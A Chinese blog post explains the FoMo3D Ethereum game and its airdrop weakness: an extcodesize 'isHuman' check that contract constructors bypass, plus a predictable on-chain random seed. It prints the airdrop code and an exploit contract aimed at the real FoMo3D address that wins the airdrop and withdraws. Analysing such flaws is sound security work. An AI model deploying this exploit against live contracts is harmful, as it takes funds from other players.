【FOMO3d】 的隐藏"彩(lou)蛋(dong)"

七月初推出的一款资金盘游戏fomo3d,终于在十几天后成功引爆了中国的链圈和币圈。

游戏规则介绍

在每一局游戏的开始,玩家都可以用以太币ETH来购买游戏道具key,相当于往资金盘里的投资。游戏的倒计时为24小时,每当有新人买入key时,游戏就会自动延长30s,但网页上的倒计时仍为24小时。

fomo3d主页

截止发文,Time Purchased已经增长到了30+年,大家可以自行计算有多少人买入了key。

最终这个资金盘的资金将会有7个流向:

  • 滚入下一轮游戏
  • 本轮游戏的奖金
  • P3D Token奖励
  • 佣金奖励
  • 社区基金
  • 社区基金
  • 空投
  • 系统运行成本

最后一个买key的人将会拿走资金盘中的48%的以太币,作为奖励。看看首页的数字,就可以想见游戏的疯狂程度。

安全隐患

截至发稿,没有重大安全漏洞披露,即管理者后门或者攻击者直接可以转移合约内ETH的漏洞,可暂时视为安全。不过还是有一个小漏洞值得大家关注,即modifier对普通账户(外部账户)和合约账户的判断。其初衷是好的,保证散户玩家的公平性,但是由于判断逻辑的偏差直接导致了该方法失效。

下图是从etherscan网站上合约地址中的代码截图:

fomo3d-isHuman

此修改器用于限制调用方法者只能是普通账户(无法执行复杂的代码,也无法重入)。其中,通过判断地址内的extcodesize是否为0来判断该地址是否为普通账户。但是当合约正在执行构造函数并部署时,其extcodesize也为0,也就是说合约完全可以通过在constructor中调用方法而绕过该判断。

攻击的方向有了,下面就剩下从哪里下手了。

这时我们注意到空投逻辑:

/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
  uint256 seed = uint256(keccak256(abi.encodePacked(
  (block.timestamp).add
  (block.difficulty).add
  ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
  (block.gaslimit).add
  ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
  (block.number)
  )));

  if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
    return(true);
  else
    return(false);
}

大家可以看到,与其说是随机数,不如说是基于链状态的伪随机数。此时,我们可以不断地部署合约并在合约的constructor中计算随机数的值,一旦发现有利可图,就可以调用FOMO3d合约中的相应方法。

接下来,我们浏览完整的代码,找到airdrop()在哪里被使用,我们就可以发现:

  • 只要玩家投入超过0.1-1ETH,就有机会可以赢得空投奖池的25%;
  • 投入1-10ETH,有机会赢得空头奖池的50%;
  • 投入10+ETH,则有机会赢得空投奖池的75%;

上面提到的有机会,就是指上面的伪随机数的计算符合要求。

到这里,最后一块拼图也补齐了。我们可以创造一个智能合约,通过计算随机数,就可以100%获得空投。我们给出了一个代码范例如下图(友情提醒:下面的代码未经测试,是仅表示思路的“伪代码”,并不保证功能上的成功):

pragma solidity ^0.4.24;

interface FoMo3DlongInterface {
  function airDropTracker_() external returns (uint256);
  function airDropPot_() external returns (uint256);
  function withdraw() external;
}

contract PwnFoMo3D {
  constructor() public payable {
    // Link up the fomo3d contract and ensure this whole thing is worth it
    FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
    if (fomo3d.airDropPot_() < 0.4 ether) {
      revert();
    }
    // Calculate whether this transaction would produce an airdrop. Take the
    // "random" number generator from the FoMo3D contract.
    uint256 seed = uint256(keccak256(abi.encodePacked(
      (block.timestamp) +
      (block.difficulty) +
      ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
      (block.gaslimit) +
      ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
      (block.number)
    )));

    uint256 tracker = fomo3d.airDropTracker_();
    if((seed - ((seed / 1000) * 1000)) >= tracker) {
      revert();
    }
    // Ok, seems we can win the airdrop, pwn the contract
    address(fomo3d).call.value(0.1 ether)();
    fomo3d.withdraw();
    selfdestruct(msg.sender);
  }
}

再次提醒,上面的代码未经测试。因为每次调用airdrop都意味着我们必须损失0.1个以太币,仅当你确保你的空投奖励大于0.1以太币时,上述方法才值得尝试。也就是说只有空投奖池总共需要大于0.4以太币。已经有人尝试空投攻击2天了:

https://etherscan.io/txs?a=0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3

https://etherscan.io/tx/0x86c3ff158b7e372e3e2aa964b2c3f0ca25c59f7bcc95a13fd72b139c0ab6f7ad

通过浏览其中一笔成功的交易我们可以看到,攻击者的代码更加复杂:他们尝试通过部署新合约来获得超额的空投奖励,但是当随机数计算不通过时,选择迭代创建合约直到有一个成功的,而不是选择使用revert()

关于该漏洞的团队回应

对此,团队本身的态度很随意, 表示一切尽在预料之内。并解释airdrops只是独立的非常小的奖金池,攻击也无伤大雅。(此条推特貌似已删除)

fomo3d_teamjust

FOMO3d VS ethereum foundation

自从fomo3d大火之后,该团队一直尝试在twitter上呼叫V神,以发现且公开EVM诸多重大漏洞为要挟呼叫V神正面回应:

fomo3d_to_v1

,并插播各种战果炫耀图(参加人数、集资速度和量级、造成以太坊堵塞程度历史罕见等)。从一开始的殷切呼唤,到始终没有得到V神正面回复之后表演失望。

fomo3d_to_eth2

此间,以太坊的team leader - peter倒是有过回应,表示这并不是漏洞,这些现象/行为都是文档里提到过的,不要想着用这种大众敏感词吸引注意力。想蹭V神热度的话,请报点猛料好么。

以太peter
参考链接:

https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide/

最后,不知道大家对这个“庞氏游戏”有什么自己的看法,可以尽情留言。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,088评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,715评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,361评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,099评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 60,987评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,063评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,486评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,175评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,440评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,518评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,305评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,190评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,550评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,880评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,152评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,451评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,637评论 2 335

推荐阅读更多精彩内容